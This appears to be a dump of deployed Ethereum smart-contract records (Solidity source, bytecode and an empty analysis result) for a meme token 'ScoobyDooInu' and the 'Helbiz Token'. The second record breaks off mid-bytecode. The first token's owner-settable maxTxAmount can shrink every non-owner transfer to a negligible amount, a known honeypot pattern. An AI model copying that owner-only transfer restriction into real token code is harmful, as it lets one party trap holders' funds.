modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ScoobyDooInu is Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 0;
string private _name = 'ScoobyDooInu ';
string private _symbol = 'SCOOBY';
uint8 private _decimals = 18;
uint256 public maxTxAmount = 1000000000000000e18;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
_mint(_msgSender(), 1000000000000000e18);
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(sender != owner() && recipient != owner())
require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function setMaxTxAmount(uint256 _maxTxAmount) external onlyOwner() {
require(_maxTxAmount >= 10000e9 , 'maxTxAmount should be greater than 10000e9');
maxTxAmount = _maxTxAmount;
}
} | 0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638c0b5e2211610097578063a9059cbb11610066578063a9059cbb146104ae578063dd62ed3e14610512578063ec28438a1461058a578063f2fde38b146105b857610100565b80638c0b5e22146103755780638da5cb5b1461039357806395d89b41146103c7578063a457c2d71461044a57610100565b8063313ce567116100d3578063313ce5671461028e57806339509351146102af57806370a0823114610313578063715018a61461036b57610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d6105fc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069e565b60405180821515815260200191505060405180910390f35b6101f46106bc565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c6565b60405180821515815260200191505060405180910390f35b61029661079f565b604051808260ff16815260200191505060405180910390f35b6102fb600480360360408110156102c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107b6565b60405180821515815260200191505060405180910390f35b6103556004803603602081101561032957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610869565b6040518082815260200191505060405180910390f35b6103736108b2565b005b61037d610a38565b6040518082815260200191505060405180910390f35b61039b610a3e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103cf610a67565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561040f5780820151818401526020810190506103f4565b50505050905090810190601f16801561043c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104966004803603604081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b09565b60405180821515815260200191505060405180910390f35b6104fa600480360360408110156104c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd6565b60405180821515815260200191505060405180910390f35b6105746004803603604081101561052857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bf4565b6040518082815260200191505060405180910390f35b6105b6600480360360208110156105a057600080fd5b8101908080359060200190929190505050610c7b565b005b6105fa600480360360208110156105ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dac565b005b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106945780601f1061066957610100808354040283529160200191610694565b820191906000526020600020905b81548152906001019060200180831161067757829003601f168201915b5050505050905090565b60006106b26106ab61103f565b8484611047565b6001905092915050565b6000600354905090565b60006106d384848461123e565b610794846106df61103f565b61078f8560405180606001604052806028815260200161178360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061074561103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061085f6107c361103f565b8461085a85600260006107d461103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b611047565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108ba61103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aff5780601f10610ad457610100808354040283529160200191610aff565b820191906000526020600020905b815481529060010190602001808311610ae257829003601f168201915b5050505050905090565b6000610bcc610b1661103f565b84610bc7856040518060600160405280602581526020016117f46025913960026000610b4061103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b6001905092915050565b6000610bea610be361103f565b848461123e565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c8361103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6509184e72a000811015610da2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611731602a913960400191505060405180910390fd5b8060078190555050565b610db461103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e74576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610efa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116c36026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117d06024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611153576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116e96022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117ab6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116a06023913960400191505060405180910390fd5b611352610a3e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113c05750611390610a3e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561142157600754811115611420576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061175b6028913960400191505060405180910390fd5b5b61142c83838361169a565b6114988160405180606001604052806026815260200161170b60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061152d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611687576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561164c578082015181840152602081019050611631565b50505050905090810190601f1680156116795780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63656d61785478416d6f756e742073686f756c642062652067726561746572207468616e20313030303065395472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209bc105b3ea1ae0f554227111db8229d67222870d403d3b542a03f8606efb4cd864736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 832 |
0xe34e1944e776f39b9252790a0527ebda647ae668 | pragma solidity ^0.4.18;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Pausable token
*
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
/**
* @title Destructible
* @dev Base contract that can be destroyed by owner. All funds in contract will be sent to the owner.
*/
contract Destructible is Ownable {
function Destructible() public payable { }
/**
* @dev Transfers the current balance to the owner and terminates the contract.
*/
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
}
contract SaleToken is PausableToken,MintableToken,Destructible {
string public name = "Helbiz Token";
string public symbol = "HBZ";
uint256 public decimals = 18;
} | 0x60606040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461012157806306fdde0314610148578063095ea7b3146101d257806318160ddd146101f457806323b872dd14610219578063313ce567146102415780633f4ba83a1461025457806340c10f19146102695780635c975abb1461028b578063661884631461029e57806370a08231146102c05780637d64bcb4146102df57806383197ef0146102f25780638456cb59146103055780638da5cb5b1461031857806395d89b4114610347578063a9059cbb1461035a578063d73dd6231461037c578063dd62ed3e1461039e578063f2fde38b146103c3578063f5074f41146103e2575b600080fd5b341561012c57600080fd5b610134610401565b604051901515815260200160405180910390f35b341561015357600080fd5b61015b610411565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561019757808201518382015260200161017f565b50505050905090810190601f1680156101c45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101dd57600080fd5b610134600160a060020a03600435166024356104af565b34156101ff57600080fd5b6102076104da565b60405190815260200160405180910390f35b341561022457600080fd5b610134600160a060020a03600435811690602435166044356104e0565b341561024c57600080fd5b61020761050d565b341561025f57600080fd5b610267610513565b005b341561027457600080fd5b610134600160a060020a0360043516602435610592565b341561029657600080fd5b61013461069f565b34156102a957600080fd5b610134600160a060020a03600435166024356106af565b34156102cb57600080fd5b610207600160a060020a03600435166106d3565b34156102ea57600080fd5b6101346106ee565b34156102fd57600080fd5b61026761077a565b341561031057600080fd5b6102676107a3565b341561032357600080fd5b61032b610827565b604051600160a060020a03909116815260200160405180910390f35b341561035257600080fd5b61015b610836565b341561036557600080fd5b610134600160a060020a03600435166024356108a1565b341561038757600080fd5b610134600160a060020a03600435166024356108c5565b34156103a957600080fd5b610207600160a060020a03600435811690602435166108e9565b34156103ce57600080fd5b610267600160a060020a0360043516610914565b34156103ed57600080fd5b610267600160a060020a03600435166109af565b60035460a860020a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104a75780601f1061047c576101008083540402835291602001916104a7565b820191906000526020600020905b81548152906001019060200180831161048a57829003601f168201915b505050505081565b60035460009060a060020a900460ff16156104c957600080fd5b6104d383836109d6565b9392505050565b60005481565b60035460009060a060020a900460ff16156104fa57600080fd5b610505848484610a42565b949350505050565b60065481565b60035433600160a060020a0390811691161461052e57600080fd5b60035460a060020a900460ff16151561054657600080fd5b6003805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60035460009033600160a060020a039081169116146105b057600080fd5b60035460a860020a900460ff16156105c757600080fd5b6000546105da908363ffffffff610bc416565b6000908155600160a060020a038416815260016020526040902054610605908363ffffffff610bc416565b600160a060020a0384166000818152600160205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a03831660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff16156106c957600080fd5b6104d38383610bd3565b600160a060020a031660009081526001602052604090205490565b60035460009033600160a060020a0390811691161461070c57600080fd5b60035460a860020a900460ff161561072357600080fd5b6003805475ff000000000000000000000000000000000000000000191660a860020a1790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b60035433600160a060020a0390811691161461079557600080fd5b600354600160a060020a0316ff5b60035433600160a060020a039081169116146107be57600080fd5b60035460a060020a900460ff16156107d557600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a